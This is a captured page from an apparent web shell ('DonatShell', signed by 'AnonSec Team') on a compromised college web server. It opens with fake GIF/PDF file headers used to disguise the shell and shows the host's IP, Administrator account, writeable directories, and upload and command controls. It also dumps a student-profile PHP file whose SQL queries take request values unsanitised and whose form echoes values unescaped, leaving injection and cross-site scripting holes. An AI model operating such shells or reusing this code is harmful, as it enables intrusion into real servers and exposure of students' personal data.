GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/StudentProfile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/StudentProfile//StudentProfileEdit.phpinc
<?
// StudentProfile/StudentProfileEdit.phpinc

if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")<ol>\n";
if (dc()) echo "<b>",basename(__FILE__),"</b>: ",__FILE__."<br>\n";
#setDebugOn();

if ( isset($courseNumber) && isset($courseTitle) ) {
	$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - Student Profile';
	$pageTitle = $courseNumber.' '.$courseTitle.'<br>Student Profile';
} else {
	$headTitle = '_CST_ - Student Profile';
	$pageTitle = 'Student Profile';
}
$pageMenu = 'Course/courseMenu.phpinc';
include('common/pageHeader.phpinc');
if ( isset($CDN) ) {
	$sectionTitle = $CDN[0].$CDN[1]." Student Profile";
} else {
	$sectionTitle = "Student Profile";
}
include('common/sectionHeader.phpinc');
if (!isset($f_studentprofileId)) { $f_studentprofileId = formValue('studentprofileId'); if($f_studentprofileId == '') $f_studentprofileId = 0;}
if ($f_form != 'form_studentprofile_edit') {
	// Not from form.
	if ($f_studentprofileId) {
		// Get data.
		$query = "
		SELECT *
		FROM studentprofile		
		WHERE studentprofileId = ".$f_studentprofileId."
		AND userId = ".$_SESSION['userId']."
		";
		$studentprofileResult = query_do($query);
		$studentprofileCount = $_SESSION['qry']['count'];
	} else {
		// Will set values to empty
		$studentprofileCount = 0;
	}
	if ($studentprofileCount) {
		// Load values from data.
		$studentprofileRow = mysqli_fetch_assoc($studentprofileResult);
		$f_studentprofileImage = $studentprofileRow['studentprofileImage'];
		$f_studentprofileImage_Current = $f_studentprofileImage;
		$f_studentprofileImage_Original = $f_studentprofileImage;
		$f_studentprofileCredential = $studentprofileRow['studentprofileCredential'];
		$f_studentprofilePast = $studentprofileRow['studentprofilePast'];
		$f_studentprofileFuture = $studentprofileRow['studentprofileFuture'];
		$f_studentprofileEmail1 = $studentprofileRow['studentprofileEmail1'];
		$f_studentprofileEmail2 = $studentprofileRow['studentprofileEmail2'];
		$f_studentprofilePhone1 = $studentprofileRow['studentprofilePhone1'];
		$f_studentprofilePhone2 = $studentprofileRow['studentprofilePhone2'];
		$f_studentprofilePhoneType1 = $studentprofileRow['studentprofilePhoneType1'];
		$f_studentprofilePhoneType2 = $studentprofileRow['studentprofilePhoneType2'];
		$f_studentprofilePrimaryCampus = $studentprofileRow['studentprofilePrimaryCampus'];
	} else {
		// Set values to empty.
		$studentprofileCount = 0;
		$f_studentprofileId = 0;
		$f_studentprofileImage = '';
		$f_studentprofileImage_Current = '';
		$f_studentprofileImage_Original = '';
		$f_studentprofileCredential = '';
		$f_studentprofilePast = '';
		$f_studentprofileFuture = '';
		$f_studentprofileEmail1 = '';
		$f_studentprofileEmail2 = '';
		$f_studentprofilePhone1 = '';
		$f_studentprofilePhone2 = '';
		$f_studentprofilePhoneType1 = '';
		$f_studentprofilePhoneType2 = '';
		$f_studentprofilePrimaryCampus = '';
	}
}
if ( $f_userId != '' ) {
	$query = "
		SELECT user.*, userdata.userAdvisor, userdata.userClassification, userdata.userMajor
			FROM user
			LEFT JOIN userdata ON user.userStudentId = userdata.userStudentId
		 WHERE userId = ".$f_userId."
	";
	$userResult = query_do($query);
	$userCount = $_SESSION['qry']['count'];
	#printVar('$userCount',$userCount);
	if ($userCount) {
		$userRow = mysqli_fetch_assoc($userResult);
		$f_userStudentId = $userRow['userStudentId'];
	}
}
// Set errors to empty.
if (!isset($f_studentprofileImageError)) { $f_studentprofileImageError = ''; }
if (!isset($f_studentprofileCredentialError)) { $f_studentprofileCredentialError = ''; }
if (!isset($f_studentprofilePastError)) { $f_studentprofilePastError = ''; }
if (!isset($f_studentprofileFutureError)) { $f_studentprofileFutureError = ''; }
if ($f_studentprofileImage == '' && $f_studentprofileImage_Current != '') { $f_studentprofileImage = $f_studentprofileImage_Current; }
#$uploaddir = $_SESSION['UPLOAD_DIR']."StudentProfile/".$_SESSION['userStudentId']."/";
$uploaddir = $_SESSION['UPLOAD_DIR']."StudentProfile/".$f_userStudentId."/";
$f_HTTP_REFERER = formValue('HTTP_REFERER');
if ($f_HTTP_REFERER == '') $f_HTTP_REFERER = $_SERVER['HTTP_REFERER'];
?>
<div style="margin:20px;">
<form name="form_studentprofile_edit" action="<?=php_self()?>" method="post" enctype="multipart/form-data">
<input name="f_uuid" type="hidden" value="<?=uuid()?>">
<input name="f_form" type="hidden" value="form_studentprofile_edit">
<input name="f_task" type="hidden" value="StudentProfile">
<input name="f_studentprofileId" type="hidden" value="<?=$f_studentprofileId?>">
<input name="f_studentprofileImage_Current" type="hidden" value="<?=$f_studentprofileImage_Current?>">
<input name="f_studentprofileImage_Original" type="hidden" value="<?=$f_studentprofileImage_Original?>">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
<input name="Course" type="hidden" value="<?=$courseNumber?>">
<input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>">
The Student Profile is the same across all classes. Once you have done this for a given semester it is done for all classes that require it.
<p>
The Student Profile consists of six parts:
</p>
<ol start="1">
	<li class="normal"><b>Image</b>. An image of yourself. This image must be between 100x144 px and 640x480 px in size and &lt; 250 KB in size.<br>The image must contain a recognizable facial shot.
<?
	if ($f_studentprofileImage != '') {
		$v_currentPath = explode("/",$f_studentprofileImage);
		$v_count = count($v_currentPath);
		$v_studentprofileImageFilename = $v_currentPath[count($v_currentPath)-1];
		//echo "\$v_currentPath="; print_r($v_currentPath); echo " \$v_count=".$v_count."<br>\n"; echo " \$v_studentprofileImageFilename=".$v_studentprofileImageFilename."<br>\n";
?>
		<?=$f_studentprofileImageError?>
		<div style="margin:0px; display:table; position:relative;">
			<img src="/<?=$uploaddir?><?=$f_studentprofileImage?>" style="margin:0px; padding:0px; border:5px double black; float:left;" />
			<br clear="all" /><span class="info normal"><?=$v_studentprofileImageFilename?></span>
		</div>
		<input type="file" name="f_studentprofileImage"> <span class="normal">Browse to change your image file.</span>
<?
	} else {
?>
		<input type="file" name="f_studentprofileImage"> <span class="normal">Browse to your image file.</span><?=$f_studentprofileImageError?>
<?
	}
?>
	<br><br>
	</li>
	<li class="normal"><b>Major.</b> List your major or majors. (A list of the credential or credentials you are going to school for. E.G. Computer Support Technician Diploma, Web Programming AAS Degree)
		<br><input name="f_studentprofileCredential" type="text" value="<?=$f_studentprofileCredential?>" maxlength="255" style="width:600px;"><?=$f_studentprofileCredentialError?>
	<br><br>
	</li>
	<li class="normal"><b>Campus.</b> Tell us your primary campus.<br>
			<select name="f_studentprofilePrimaryCampus" id="f_studentprofilePrimaryCampus">
			<option value="????">????</option>
			<option value="Hutchinson"<? if ($f_studentprofilePrimaryCampus=='Hutchinson') { ?> selected="selected"<? } ?>>Hutchinson</option>
			<option value="Willmar"<? if ($f_studentprofilePrimaryCampus=='Willmar') { ?> selected="selected"<? } ?>>Willmar</option>
			<option value="CLC Brainerd"<? if ($f_studentprofilePrimaryCampus=='CLC Brainerd') { ?> selected="selected"<? } ?>>CLC Brainerd</option>
			<option value="CLC Staples"<? if ($f_studentprofilePrimaryCampus=='CLC Staples') { ?> selected="selected"<? } ?>>CLC Staples</option>
			<option value="Other"<? if ($f_studentprofilePrimaryCampus=='Other') { ?> selected="selected"<? } ?>>Other</option>
		</select>
	<br><br>
	</li>
	<li class="normal"><b>Contact.</b> List non-Ridgewater email addresses or phone numbers that we may use to contact you.
		<br>Email: <input name="f_studentprofileEmail1" type="text" value="<?=$f_studentprofileEmail1?>" maxlength="255" style="width:200px;">
		Phone:
		<select name="f_studentprofilePhoneType1" id="f_studentprofilePhoneType1">
			<option value="">????</option>
			<option value="Cell"<? if ($f_studentprofilePhoneType1 == 'Cell') { ?> selected="selected"<? } ?>>Cell</option>
			<option value="Home"<? if ($f_studentprofilePhoneType1 == 'Home') { ?> selected="selected"<? } ?>>Home</option>
			<option value="Work"<? if ($f_studentprofilePhoneType1 == 'Work') { ?> selected="selected"<? } ?>>Work</option>
		</select>
		<input name="f_studentprofilePhone1" type="text" value="<?=$f_studentprofilePhone1?>" maxlength="255" style="width:100px;">
		<br>Email: <input name="f_studentprofileEmail2" type="text" value="<?=$f_studentprofileEmail2?>" maxlength="255" style="width:200px;">
		Phone:
		<select name="f_studentprofilePhoneType2" id="f_studentprofilePhoneType2">
			<option value="">????</option>
			<option value="Cell"<? if ($f_studentprofilePhoneType2 == 'Cell') { ?> selected="selected"<? } ?>>Cell</option>
			<option value="Home"<? if ($f_studentprofilePhoneType2 == 'Home') { ?> selected="selected"<? } ?>>Home</option>
			<option value="Work"<? if ($f_studentprofilePhoneType2 == 'Work') { ?> selected="selected"<? } ?>>Work</option>
		</select>
		<input name="f_studentprofilePhone2" type="text" value="<?=$f_studentprofilePhone2?>" maxlength="255" style="width:100px;">
	<br><br>
	</li>
	<li class="normal"><b>History</b>. List any education, personal, and work experiences you feel describe your history with computers and computer industry.
		<br><textarea name="f_studentprofilePast" style="height:250px;width:600px;"><?=$f_studentprofilePast?></textarea><?=$f_studentprofilePastError?>
	<br><br>
	</li>
	<li class="normal"><b>Future</b>. List and describe your career goals. (a description of what you want to do in the future)
		<br><textarea name="f_studentprofileFuture" style="height:250px;width:600px;"><?=$f_studentprofileFuture?></textarea><?=$f_studentprofileFutureError?>
	<br><br>
	</li>
</ol>
<div class="normal" style="margin-left:35px;">
<input type="submit" name="f_subtask" value="Save"> Save the Student Profile for submission or further editing.
<br>
<input type="submit" name="f_subtask" value="Cancel">
</div>
<?
?>
</form>
</div>
<?
include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team